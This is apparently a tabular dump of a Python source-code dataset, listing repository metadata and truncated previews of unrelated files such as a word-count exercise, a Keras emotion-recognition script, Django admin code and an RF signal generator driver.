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values | lang stringclasses 1
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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
cdb91795db8c176b9e6d1d2b0ffc0bc2b063adbd | 857 | py | Python | Lessons/Chapter9Exercise1.py | Luderio/Scientific-Computing-with-Python | c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f | [
"MIT"
] | null | null | null | Lessons/Chapter9Exercise1.py | Luderio/Scientific-Computing-with-Python | c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f | [
"MIT"
] | null | null | null | Lessons/Chapter9Exercise1.py | Luderio/Scientific-Computing-with-Python | c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f | [
"MIT"
] | null | null | null | wordCounter = dict()
while True :
inputFile = input('Enter a file: ')
try :
fileName = open(inputFile)
except :
fileName = 'invalid'
if fileName == 'invalid' :
if inputFile == 'done' :
break
else :
print('Invalid Input')
continue
... | 25.969697 | 70 | 0.574096 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 78 | 0.091015 |
cdb943e87aa2338b8600a2d1fc39c5fdf842f690 | 1,022 | py | Python | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | iris/cli/help.py | kpanic/lymph | 5681de5e65ee72efb96012608fc5189a48adafcd | [
"Apache-2.0"
] | null | null | null | from iris.cli.base import Command, format_docstring, get_command_class
HELP = format_docstring("""
Usage: iris [options] <command> [<args>...]
Iris is the personification of the rainbow and messenger of the gods.
{COMMON_OPTIONS}
Commands:
instance Run a single service instance (one process).
node Run ... | 26.894737 | 77 | 0.671233 | 332 | 0.324853 | 0 | 0 | 0 | 0 | 0 | 0 | 681 | 0.666341 |
cdb9f5699b06eaa0f164fb54a701bb1fdb951c1f | 3,321 | py | Python | src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py | Bhaskers-Blu-Org2/FeaturizersLibrary | 229ae38ea233bfb02a6ff92ec3a67c1751c58005 | [
"MIT"
] | 15 | 2019-12-14T07:54:18.000Z | 2021-03-14T14:53:28.000Z | src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py | Lisiczka27/FeaturizersLibrary | dc7b42abd39589af0668c896666affb4abe8a622 | [
"MIT"
] | 30 | 2019-12-03T20:58:56.000Z | 2020-04-21T23:34:39.000Z | src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py | Lisiczka27/FeaturizersLibrary | dc7b42abd39589af0668c896666affb4abe8a622 | [
"MIT"
] | 13 | 2020-01-23T00:18:47.000Z | 2021-10-04T17:46:45.000Z | # ----------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License
# ----------------------------------------------------------------------
"""Generates JSON files based on data previously pickled"""
import lzma
import o... | 34.957895 | 82 | 0.504065 | 0 | 0 | 0 | 0 | 1,412 | 0.425173 | 0 | 0 | 1,356 | 0.408311 |
cdba82790169d516d43e4d1c83b7c0a26c10e1fe | 7,152 | py | Python | fer.py | MahmoudSabra1/Emotion-recognition-song-recommendation | 5cad8413b6c98cee12798334009fe8942a420527 | [
"MIT"
] | 11 | 2020-11-11T14:52:05.000Z | 2022-03-11T11:37:42.000Z | fer.py | MahmoudSabra1/Emotion-recognition-song-recommendation | 5cad8413b6c98cee12798334009fe8942a420527 | [
"MIT"
] | 1 | 2021-06-21T06:42:59.000Z | 2021-06-21T06:42:59.000Z | fer.py | MahmoudSabra1/Emotion-recognition-song-recommendation | 5cad8413b6c98cee12798334009fe8942a420527 | [
"MIT"
] | 7 | 2021-01-26T03:40:12.000Z | 2021-12-20T12:24:34.000Z | # Two lines that remove tensorflow GPU logs
# import os
# os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from keras.optimizers import Adam
from keras.models import Sequential, model_from_json
from keras.layers import Conv2D, MaxPooling2D, Dense, Flatten,... | 32.216216 | 115 | 0.65646 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,449 | 0.202601 |
cdbc9720aa5c6f9258b24ce41fb35960b581a3f8 | 705 | py | Python | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | manual.py | Taschenbergerm/bgg_miner | f20057ec2e85e20ad08f92514ce38c699e8c85eb | [
"MIT"
] | null | null | null | from pprint import pprint
import requests
from lxml import etree
def itter(tree):
for ele in tree.iter():
print("##########################")
print("Tag:", ele.tag)
print("Text:", ele.text)
print("Attributes:", ele.attrib)
print("##########################")
def main():
... | 27.115385 | 68 | 0.591489 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 213 | 0.302128 |
cdbd2bded66eee36ec46ada4de75a010512f317b | 2,962 | py | Python | app/requests.py | gabrielcoder247/News-Highlight-v2 | 595f4ee9739b173142d1012bdda63526818930e4 | [
"Unlicense"
] | null | null | null | app/requests.py | gabrielcoder247/News-Highlight-v2 | 595f4ee9739b173142d1012bdda63526818930e4 | [
"Unlicense"
] | null | null | null | app/requests.py | gabrielcoder247/News-Highlight-v2 | 595f4ee9739b173142d1012bdda63526818930e4 | [
"Unlicense"
] | null | null | null | import urllib.request,json
from .models import Source,Article
from . import main
# Getting Api Key
api_Key = None
#Getting the base urls
sources_base_url = None
articles_base_url = None
def configure_request(app):
'''
Function to acquire the api key and base urls
'''
global api_Key,sources_base_url,articles_base_... | 30.854167 | 85 | 0.778528 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 906 | 0.305874 |
cdc3ceae4eb0b0fc7a29f9482fb7047dcfef58b4 | 727 | py | Python | main.py | csmyth93/solo_scoring | 6c1a32a3430058aa7d51be604dcc02d11ce85edd | [
"MIT"
] | null | null | null | main.py | csmyth93/solo_scoring | 6c1a32a3430058aa7d51be604dcc02d11ce85edd | [
"MIT"
] | null | null | null | main.py | csmyth93/solo_scoring | 6c1a32a3430058aa7d51be604dcc02d11ce85edd | [
"MIT"
] | null | null | null | def get_names():
names = []
while True:
name = input("Enter players name: ")
if name != 'done':
print(f'{name} added to the list of players')
names.append(name)
continue
else:
break
return names
def get_player_scores(players):
for... | 22.71875 | 63 | 0.515818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 117 | 0.160935 |
cdc3dc53bc12e7691159632083c1b94dc1973dac | 74 | py | Python | tests/unit/conftest.py | fourTheorem/slic-slack | cffc870c2399feff67199050460abdcb3385ef17 | [
"Apache-2.0"
] | 4 | 2022-01-14T15:47:55.000Z | 2022-01-14T16:15:18.000Z | tests/unit/conftest.py | fourTheorem/slic-slack | cffc870c2399feff67199050460abdcb3385ef17 | [
"Apache-2.0"
] | null | null | null | tests/unit/conftest.py | fourTheorem/slic-slack | cffc870c2399feff67199050460abdcb3385ef17 | [
"Apache-2.0"
] | null | null | null | import os
os.environ['SLACK_WEBHOOK_URL'] = 'https://example.com/slack'
| 14.8 | 61 | 0.72973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 46 | 0.621622 |
cdc442d6b9ce4b9876165256e71bc1dbffd0f620 | 760 | py | Python | python/twisted/web_echo.py | y2ghost/work | b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3 | [
"MIT"
] | null | null | null | python/twisted/web_echo.py | y2ghost/work | b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3 | [
"MIT"
] | null | null | null | python/twisted/web_echo.py | y2ghost/work | b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3 | [
"MIT"
] | null | null | null | from twisted.protocols import basic
from twisted.internet import protocol, reactor
class HTTPEchoProtocol(basic.LineReceiver):
def __init__(self):
self.lines = []
def lineReceived(self, line):
self.lines.append(line.decode())
if not line:
self.sendResponse()
def sendRe... | 27.142857 | 68 | 0.661842 | 614 | 0.807895 | 0 | 0 | 0 | 0 | 0 | 0 | 46 | 0.060526 |
cdc5a62dbf81299334c3372e259e1e6b484185cd | 2,804 | py | Python | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 13 | 2021-03-11T12:35:29.000Z | 2022-02-25T02:22:47.000Z | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 1 | 2021-11-04T03:02:10.000Z | 2021-11-04T03:02:10.000Z | app01/tools.py | xinxinliang/ksDjango | 0c0f4a5842cf225e77035b716979fcf9b8d03311 | [
"Apache-2.0"
] | 4 | 2021-06-12T19:27:01.000Z | 2022-02-04T05:13:54.000Z | import requests
import json
import os
import time
from app01.models import UserTitle
# 爬取个人主页关注用户的id和naame
URL = "https://video.kuaishou.com/graphql"
headers = {
"accept":"*/*",
"Content-Length":"<calculated when request is sent>",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"co... | 43.8125 | 760 | 0.696148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,928 | 0.657572 |
cdc5fa09b3e8bd5d035d3ebb8b21feb4b7b64279 | 2,183 | py | Python | core/thirdparty/load_openpose.py | jshuhnow/OddEyeCam | ed76cd1c29701b7b49f20bcd61e7e72d3140fda8 | [
"MIT"
] | 8 | 2020-10-08T13:32:33.000Z | 2021-12-08T10:59:03.000Z | core/thirdparty/load_openpose.py | jshuhnow/OddEyeCam | ed76cd1c29701b7b49f20bcd61e7e72d3140fda8 | [
"MIT"
] | null | null | null | core/thirdparty/load_openpose.py | jshuhnow/OddEyeCam | ed76cd1c29701b7b49f20bcd61e7e72d3140fda8 | [
"MIT"
] | 1 | 2021-04-15T23:50:13.000Z | 2021-04-15T23:50:13.000Z | import os
import sys
this_dir = os.path.dirname(__file__)
import numpy as np
openpose_path = os.path.join(this_dir, 'openpose')
op_release_path = os.path.join(openpose_path, 'Release')
model_path = os.path.join(openpose_path, 'models')
print(op_release_path)
sys.path.append(op_release_path);
os.environ['PATH'] = os.e... | 35.209677 | 107 | 0.639487 | 1,466 | 0.671553 | 0 | 0 | 0 | 0 | 0 | 0 | 523 | 0.239579 |
cdc633f283f26d40a91533035d25cbe1abaa2d61 | 11,193 | py | Python | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 14 | 2019-06-29T19:19:10.000Z | 2022-03-31T06:40:33.000Z | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 2 | 2019-07-23T22:06:37.000Z | 2019-08-19T22:15:32.000Z | pybench/benchmarks/benchmark_ml.py | pentschev/pybench | 89d65a6c418a1fee39d447bd11b8a999835b74a9 | [
"Apache-2.0"
] | 5 | 2019-07-23T14:48:48.000Z | 2020-04-01T08:43:00.000Z | import pytest
import importlib
import numba, numba.cuda
import numpy as np
from pybench import run_benchmark
_shapes = {
"small": [(int(2 ** 14), 512), (int(2 ** 15), 512), (int(2 ** 16), 512)],
"large": [(int(2 ** 20), 512), (int(2 ** 21), 512), (int(2 ** 22), 512)],
}
def load_data(nrows, ncols, cached, ... | 26.841727 | 82 | 0.54132 | 0 | 0 | 0 | 0 | 8,530 | 0.762083 | 0 | 0 | 2,476 | 0.22121 |
cdc72216af29eaceb6c114484063fc2831f99596 | 420 | py | Python | ABC127C/resolve.py | staguchi0703/problems_easy | 82804b99b3ce8104762c3f6f5cc60b009a17bdc8 | [
"MIT"
] | null | null | null | ABC127C/resolve.py | staguchi0703/problems_easy | 82804b99b3ce8104762c3f6f5cc60b009a17bdc8 | [
"MIT"
] | null | null | null | ABC127C/resolve.py | staguchi0703/problems_easy | 82804b99b3ce8104762c3f6f5cc60b009a17bdc8 | [
"MIT"
] | null | null | null | def resolve():
'''
code here
'''
N , M = [int(item) for item in input().split()]
LRs = [[int(item) for item in input().split()] for _ in range(M)]
L_max = 0
R_min = N
for L, R in LRs:
L_max = max(L_max, L)
R_min = min(R_min, R)
delta = R_min - L_max
if delta >=... | 16.8 | 69 | 0.490476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 35 | 0.083333 |
cdc9ffbc19062cc077e25fb215d33c0447db75e0 | 7,109 | py | Python | om10/plotting.py | drphilmarshall/OM10 | 009c16f0ef4e1c5f8f78c78df3c7711b7be24938 | [
"MIT"
] | 5 | 2017-02-17T19:43:54.000Z | 2021-05-19T09:30:53.000Z | om10/plotting.py | drphilmarshall/OM10 | 009c16f0ef4e1c5f8f78c78df3c7711b7be24938 | [
"MIT"
] | 55 | 2015-02-06T19:25:58.000Z | 2021-03-09T07:57:04.000Z | om10/plotting.py | drphilmarshall/OM10 | 009c16f0ef4e1c5f8f78c78df3c7711b7be24938 | [
"MIT"
] | 16 | 2015-01-29T23:55:45.000Z | 2021-04-16T03:06:38.000Z | # ======================================================================
# Globally useful modules, imported here and then accessible by all
# functions in this file:
from __future__ import print_function
# Fonts, latex:
import matplotlib
matplotlib.rc('font',**{'family':'serif', 'serif':['TimesNewRoman']})
matplotli... | 30.251064 | 115 | 0.549163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,489 | 0.490786 |
cdcae84167fb352d7727b5d25c865135e36f6d5e | 25,254 | py | Python | applications/EsteEuQuero/models/produto.py | vgcarvpro/vgcarvpro | 16d720cb49f02e4f859c27901360b34681e986c0 | [
"BSD-3-Clause"
] | null | null | null | applications/EsteEuQuero/models/produto.py | vgcarvpro/vgcarvpro | 16d720cb49f02e4f859c27901360b34681e986c0 | [
"BSD-3-Clause"
] | null | null | null | applications/EsteEuQuero/models/produto.py | vgcarvpro/vgcarvpro | 16d720cb49f02e4f859c27901360b34681e986c0 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
def produtos():
prod = [["Rack de Teto Uno 2010 2011 2012 2013 2014 2015 a 2020 Preto", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&Mar... | 5,050.8 | 25,197 | 0.818405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 24,918 | 0.984745 |
cdcc403733cc344ed109e0132f133aabd50b5dc1 | 1,213 | py | Python | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | rpython/jit/backend/muvm/registers.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | """ Modified version of ../muvm/registers.py. Will update as needed.
"""
#from rpython.jit.backend.arm.locations import VFPRegisterLocation
#from rpython.jit.backend.arm.locations import SVFPRegisterLocation
#from rpython.jit.backend.arm.locations import RegisterLocation
from rpython.jit.metainterp.history import (Cons... | 25.270833 | 72 | 0.650453 | 385 | 0.317395 | 0 | 0 | 0 | 0 | 0 | 0 | 298 | 0.245672 |
cdcc7612e16b3989892d1765ee8591ffd8c61843 | 1,536 | py | Python | src/database/CRUD/create.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 2 | 2020-07-24T12:58:17.000Z | 2020-12-17T02:26:13.000Z | src/database/CRUD/create.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 214 | 2019-06-26T17:33:54.000Z | 2022-03-26T00:02:34.000Z | src/database/CRUD/create.py | massenergize/portalBackEnd | 7ed971b2be13901667a216d8c8a46f0bed6d6ccd | [
"MIT"
] | 6 | 2020-03-13T20:29:06.000Z | 2021-08-20T16:15:08.000Z | """
This file contains code to post data from the database. This is meant to
centralize the insertion of data into the database so that multiple apps can
call on the methods in this file without having to define their own
and to prevent code redundancy.
"""
from ..models import *
from ..utils.common import ensure_re... | 25.180328 | 76 | 0.76888 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 259 | 0.16862 |
cdccadfab450a4e9a57ce9f5439e430bde2038d3 | 527 | py | Python | tfutils/losses/losses.py | njchiang/tf-keras-utils | 6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd | [
"MIT"
] | null | null | null | tfutils/losses/losses.py | njchiang/tf-keras-utils | 6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd | [
"MIT"
] | null | null | null | tfutils/losses/losses.py | njchiang/tf-keras-utils | 6ea5e51ef3ca5729fbc71bf3cffecf4faec033dd | [
"MIT"
] | null | null | null | # this actually won't work with keras... not exactly a keras utility
import tensorflow as tf
def ae_loss_fn(model, x, y, training=None):
pred = model(x, training)
mse = tf.keras.losses.MSE(y, pred)
return tf.reduce_mean(mse), pred
# function is untested
def vae_loss_fn(model, x, y, training=None):
z, ... | 35.133333 | 68 | 0.660342 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 90 | 0.170778 |
cdccf6c01653163bb8ca38561bfba641eb360f29 | 834 | py | Python | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | src/data_generator/vocab_builder.py | luciencho/jddc_solo | efddf0885d5e3c640835874f70d57d25123de141 | [
"BSD-3-Clause"
] | null | null | null | # coding:utf-8
from __future__ import unicode_literals
from __future__ import division
from __future__ import print_function
import os
from src.utils import utils
from src.data_generator import vocabulary
def process(hparam):
utils.raise_inexistence(hparam.tmp_dir)
tokenizer = vocabulary.Tokenizer(segment=h... | 33.36 | 81 | 0.713429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 70 | 0.083933 |
cdd4efc2e23f55bb4467b8c8df8e0d1cdd72fa3d | 419 | py | Python | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 1 | 2020-03-30T22:14:21.000Z | 2020-03-30T22:14:21.000Z | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 12 | 2020-04-15T00:00:49.000Z | 2022-02-27T01:26:08.000Z | xas/queries/elastic.py | neuromore/msgxc | e74565a7991d80e5951ef22452521bcbca27fc92 | [
"Apache-2.0"
] | 4 | 2020-01-16T11:29:38.000Z | 2020-04-03T09:43:40.000Z | from elasticsearch import Elasticsearch
# TODO: Not implemented yet
es = Elasticsearch(["localhost"], sniff_on_connection_fail=True, sniffer_timeout=60)
def threads_all():
res = es.search(index="mthreads", body={"query": {"match_all": {}}})
print("Got %d Hits:" % res['hits']['total'])
# for hit in res['hi... | 38.090909 | 84 | 0.649165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 192 | 0.458234 |
cdd5f8ad7b2f42d4bfe80a22a6bf9fc481e565ca | 2,750 | py | Python | U-NET/utils.py | HarshZ26/Object-Detection | 1d73f6aeb7452b0b26bd2713e69f340d129a5ba5 | [
"MIT"
] | 1 | 2022-03-23T15:49:02.000Z | 2022-03-23T15:49:02.000Z | U-NET/utils.py | HarshZ26/Object-Detection | 1d73f6aeb7452b0b26bd2713e69f340d129a5ba5 | [
"MIT"
] | null | null | null | U-NET/utils.py | HarshZ26/Object-Detection | 1d73f6aeb7452b0b26bd2713e69f340d129a5ba5 | [
"MIT"
] | null | null | null | from init import *
VOC_CLASSES = [
"background",
"aeroplane",
"bicycle",
"bird",
"boat",
"bottle",
"bus",
"car",
"cat",
"chair",
"cow",
"diningtable",
"dog",
"horse",
"motorbike",
"person",
"potted plant",
"sheep",
"sofa",... | 25.229358 | 105 | 0.577818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 299 | 0.108727 |
cdd753cdba3af6ee31cf0c550e2ee7e5c881ebc9 | 2,898 | py | Python | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | custom_components/skyq/classes/switchmaker.py | TomBrien/Home_Assistant_SkyQ_MediaPlayer | 50f9ad0d3b7a3bc2acc652415ff59740bf3ace10 | [
"MIT"
] | null | null | null | """
A utility function to generate yaml config for SkyQ media players.
To support easy usage with other home assistant integrations, e.g. google home
"""
import os.path as _path
import yaml
from ..const import CONST_ALIAS_FILENAME
class Switch_Maker:
"""The Switchmaker Class."""
def __init__(self, config_... | 30.1875 | 78 | 0.493444 | 2,661 | 0.918219 | 0 | 0 | 0 | 0 | 0 | 0 | 745 | 0.257074 |
cdd78b4b371ac658a03d1638d8afdbda0805a759 | 24,528 | py | Python | datawinners/accountmanagement/admin.py | ICT4H/dcs-web | fb0f53fad4401cfac1c1789ff28b9d5bda40c975 | [
"Apache-2.0"
] | 1 | 2015-11-02T09:11:12.000Z | 2015-11-02T09:11:12.000Z | datawinners/accountmanagement/admin.py | ICT4H/dcs-web | fb0f53fad4401cfac1c1789ff28b9d5bda40c975 | [
"Apache-2.0"
] | null | null | null | datawinners/accountmanagement/admin.py | ICT4H/dcs-web | fb0f53fad4401cfac1c1789ff28b9d5bda40c975 | [
"Apache-2.0"
] | null | null | null | # vim: ai ts=4 sts=4 et sw=4 encoding=utf-8
import datetime
import logging
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.forms import UserChangeForm
from django.core.exceptions import ValidationError
from django.forms import CharField
from django.utils.translation import ugettext_lazy as _
f... | 44.194595 | 218 | 0.677471 | 21,064 | 0.858774 | 0 | 0 | 0 | 0 | 0 | 0 | 5,384 | 0.219504 |
cddabebcaa2a91087a2f9f94dcd4f545a6f38cff | 283 | py | Python | tests/conftest.py | bayashi-cl/expander | b3623b656a71801233797e05781295a6101fefd8 | [
"CC0-1.0"
] | null | null | null | tests/conftest.py | bayashi-cl/expander | b3623b656a71801233797e05781295a6101fefd8 | [
"CC0-1.0"
] | 1 | 2022-03-12T20:41:21.000Z | 2022-03-13T06:34:30.000Z | tests/conftest.py | bayashi-cl/expander | b3623b656a71801233797e05781295a6101fefd8 | [
"CC0-1.0"
] | null | null | null | import pytest
from unittest import mock
import os
import pathlib
@pytest.fixture(scope="session", autouse=True)
def set_pythonpath():
testlib_path = pathlib.Path.cwd() / "tests" / "testlib"
with mock.patch.dict(os.environ, {"PYTHONPATH": str(testlib_path)}):
yield
| 23.583333 | 72 | 0.713781 | 0 | 0 | 168 | 0.59364 | 215 | 0.759717 | 0 | 0 | 37 | 0.130742 |
cddacc9ad1d4172e5208503da82fc4edfb83363e | 1,870 | py | Python | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | 1 | 2020-03-20T22:19:05.000Z | 2020-03-20T22:19:05.000Z | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | 3 | 2020-02-14T14:36:27.000Z | 2020-04-03T21:06:27.000Z | init/global_eq_FCtest/setup_fns.py | mattzett/GEMINI-examples | 9932cee67e88898bd00c34bab7ac0568e92e40ca | [
"Apache-2.0"
] | null | null | null | # This is mostly a repeat of model.setup from the pygemini repository except for that it setups up a periodic
# grid for us in full-globe simulations.
from __future__ import annotations
import argparse
from pathlib import Path
import typing as T
import shutil
import os
from gemini3d.config import read_nml
import g... | 29.68254 | 109 | 0.652941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 833 | 0.445455 |
cddc0485c396754b68315d1f0f82db760ff25dc5 | 2,580 | py | Python | floodfill_pathfinding.py | mnursey/Battlesnake-2021 | 884b9cf1b40c9b03cc49bd1594135e7caf41ee82 | [
"MIT"
] | null | null | null | floodfill_pathfinding.py | mnursey/Battlesnake-2021 | 884b9cf1b40c9b03cc49bd1594135e7caf41ee82 | [
"MIT"
] | null | null | null | floodfill_pathfinding.py | mnursey/Battlesnake-2021 | 884b9cf1b40c9b03cc49bd1594135e7caf41ee82 | [
"MIT"
] | null | null | null | import board
class Floodfill:
frontier = []
grid = None
board = None
def __init__(self, game_board, start_cord):
self.board = game_board
self.grid = [[None for i in range(self.board.width)] for j in range(self.board.width)]
start_node = self.create_node(start_cord["x"], star... | 27.446809 | 117 | 0.445736 | 2,565 | 0.994186 | 0 | 0 | 0 | 0 | 0 | 0 | 232 | 0.089922 |
cddc0ce80665ce382edeabc67713697083130041 | 3,736 | py | Python | Gobot-Omni/robot.py | FRC1076/2019-Parade | 3824449ed10e33b401efb646fd2e6470c3941c8b | [
"MIT"
] | null | null | null | Gobot-Omni/robot.py | FRC1076/2019-Parade | 3824449ed10e33b401efb646fd2e6470c3941c8b | [
"MIT"
] | 2 | 2019-06-17T23:38:23.000Z | 2019-06-17T23:39:43.000Z | Gobot-Omni/robot.py | FRC1076/2019-Parade | 3824449ed10e33b401efb646fd2e6470c3941c8b | [
"MIT"
] | null | null | null | import wpilib
import ctre
from wpilib.drive import DifferentialDrive
from wpilib.interfaces import GenericHID
#MOTOR PORTS
LEFT = 1
RIGHT = 3
CENTER1 = 2
CENTER2 = 4
#BALL MANIPULATOR
BALL_MANIP_ID = 5
GATHER_SPEED = 1.0
SPIT_SPEED = -1.0
STOP_SPEED = 0.0
LEFT_HAND = GenericHID.Hand.kLeft
RIGHT_HAND = GenericHID.Han... | 27.470588 | 81 | 0.646413 | 3,115 | 0.833779 | 0 | 0 | 0 | 0 | 0 | 0 | 674 | 0.180407 |
cddcaaf10bf47f30133fae7ab0e9db139ac2e1cc | 1,789 | py | Python | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 11 | 2017-03-01T18:00:30.000Z | 2021-12-10T05:11:02.000Z | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 397 | 2016-07-08T14:39:46.000Z | 2022-03-30T12:45:09.000Z | src/tests/test_decorators.py | elifesciences/builder | 161829686f777f7ac7f97bd970395886ba5089c1 | [
"MIT"
] | 14 | 2016-07-13T08:33:28.000Z | 2020-04-22T21:42:21.000Z | from . import base
from mock import patch
import decorators
class TestDecorators(base.BaseCase):
@patch('decorators.LOG.info')
def test_timeit_smoke_test(self, info):
@decorators.timeit
def some_task(param, **kwargs):
pass
some_task(42, option='value')
(args, _) = in... | 38.06383 | 97 | 0.653438 | 1,727 | 0.965344 | 0 | 0 | 1,375 | 0.768586 | 0 | 0 | 395 | 0.220794 |
cddea9a721eee8e3cc13555afb08ee013159480b | 2,158 | py | Python | integration/emulator/device.py | cvlabmiet/master-programming-example | 8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651 | [
"MIT"
] | null | null | null | integration/emulator/device.py | cvlabmiet/master-programming-example | 8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651 | [
"MIT"
] | null | null | null | integration/emulator/device.py | cvlabmiet/master-programming-example | 8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651 | [
"MIT"
] | null | null | null | import re, operator, array
from collections import namedtuple
class Argument(object):
def __init__(self, viewtype, begin, end=None):
self.type = viewtype
self.begin = int(begin)
self.end = None
if end is not None:
self.end = int(end)
class Lram(bytearray):
pass
cla... | 33.2 | 123 | 0.561631 | 2,084 | 0.965709 | 0 | 0 | 0 | 0 | 0 | 0 | 360 | 0.166821 |
cde0f842eb62a19de3f38d4d8d1f8ff65a2ce325 | 10,538 | py | Python | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | null | null | null | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | 1 | 2019-10-22T21:28:31.000Z | 2019-10-22T21:39:12.000Z | Ramsey_RF_generator.py | bopopescu/Lauecollect | 60ae2b05ea8596ba0decf426e37aeaca0bc8b6be | [
"MIT"
] | 2 | 2019-06-06T15:06:46.000Z | 2020-07-20T02:03:22.000Z | """
Ramsay RSG1000B RF Signal Generator, controlled via RS-323 interface
See: Ramsay RSG1000B RF Signal Generator User Guide, p.10-11
Settings: 9600 baud, 8 bits, parity none, stop bits 1, flow control none
DB09 connector pin 2 = TxD, 3 = RxD, 5 = Ground
The controller accepts unterminate ASCII text commands and gene... | 36.089041 | 101 | 0.584836 | 8,235 | 0.781458 | 0 | 0 | 455 | 0.043177 | 0 | 0 | 3,085 | 0.29275 |
cde603f7c8844ec9a35ff25bb6a1c13b5f4bbf79 | 819 | py | Python | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
"MIT"
] | null | null | null | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
